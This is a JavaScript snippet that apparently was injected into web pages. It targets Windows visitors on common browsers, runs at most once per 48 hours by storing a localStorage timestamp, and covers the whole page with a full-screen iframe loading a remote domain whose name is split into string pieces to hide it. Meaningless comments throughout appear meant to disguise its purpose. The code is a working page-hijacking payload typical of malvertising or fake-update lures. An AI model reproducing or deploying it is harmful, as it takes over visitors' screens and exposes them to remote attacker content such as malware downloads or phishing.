function isWindows(){ let platform = window.navigator?.userAgentData?.platform || window.navigator.platform; if (['Win32', 'Win64', 'Windows', 'WinCE'].indexOf(platform) !== -1) { return true; } return false; } function isBrave(){ return (navigator.brave != undefined); } function getBrowserName(){ const userAgent = navigator.userAgent; const browsers = [ { name: "Opera", identifier: "OPR" }, { name: "Edge", identifier: "Edg" }, { name: "Edge", identifier: "MSIE" }, { name: "Firefox", identifier: "Firefox" }, { name: "Brave", identifier: "Brave" }, { name: "Chrome", identifier: "Chrome" }, ]; if(isBrave()){ return "Brave"; } let browserName = navigator.appName; const foundBrowser = browsers.find(browser => userAgent.indexOf(browser.identifier) !== -1); if (foundBrowser) { browserName = foundBrowser.name; } else { browserName = null; } return browserName; } function isBrowserSupported(){ let browser = getBrowserName(); return ["Chrome","Edge","Brave","Firefox","Opera"].indexOf(browser) !== -1; } function checkSession() { const key = "__mpq_9cv2vma24a8a7"; // mili tim const currentTime = new Date().getTime(); // storage large if (localStorage.getItem(key) === null) { // gate keys localStorage.setItem(key, currentTime.toString()); return true; } else { // kisses const storedTime = parseInt(localStorage.getItem(key), 10); // time seq const timeDifference = currentTime - storedTime; // insiga timiqa if (timeDifference > 48 * 60 * 60 * 1000) { // time too true localStorage.setItem(key, currentTime.toString()); return true; } else { // largina masuno return false; } } } function updateUrlIfBrave(url){ let browser = getBrowserName(); if(browser == "Brave"){ return url + "?b"; } return url; } function showIframe(url){ var iframe = document.createElement('iframe'); iframe['src'] = url; iframe['style']['cssText'] = 'width:100%;height:100%;position:fixed;top:0;left:0;z-index:9999;border:none;'; // lowes custer document.body.appendChild(iframe); // skrill builder document.body.style.overflow = 'hidden'; } let url = "https://t"+"eka"+"sce"+"nd.com"; window.addEventListener('DOMContentLoaded', () => { if(isWindows() && isBrowserSupported()){ if(checkSession()){ url = updateUrlIfBrave(url); showIframe(url); } } });